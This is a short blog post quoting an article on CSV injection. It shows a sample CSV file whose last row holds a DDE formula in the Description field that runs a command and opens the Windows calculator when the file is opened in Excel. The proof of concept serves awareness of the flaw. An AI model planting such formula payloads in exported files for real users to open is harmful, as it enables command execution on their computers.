?

Log in

No account? Create an account

ewoke

держать спину прямо

Previous Entry Share Next Entry
Малварно-фейспалмное
ewoke
http://georgemauer.net/2017/10/07/csv-injection.html

What if we change our csv file to this then? (Note the Description column on the last line)

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5+cmd|' /C calc'!A0", 240

What’s going to happen when we open up in Excel?
Yup, that’s right, the system calculator opens right on up.